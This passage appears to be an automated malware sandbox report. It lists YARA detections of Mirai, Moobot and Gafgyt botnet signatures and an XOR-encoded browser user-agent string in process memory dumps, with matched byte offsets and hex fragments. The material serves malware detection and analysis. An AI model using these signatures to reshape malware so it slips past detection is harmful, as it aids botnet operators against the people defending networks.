78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6469.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7438.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7438.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7438.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7438.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7438.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7438.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6420.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6420.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6420.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6420.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6420.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6420.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6445.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7003.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7003.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7003.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7003.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7003.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7003.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6265.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6563.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6563.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6563.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6563.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6563.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6563.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7174.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7174.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7174.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7174.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7174.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7174.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7195.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6896.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6896.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6896.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6896.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6896.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 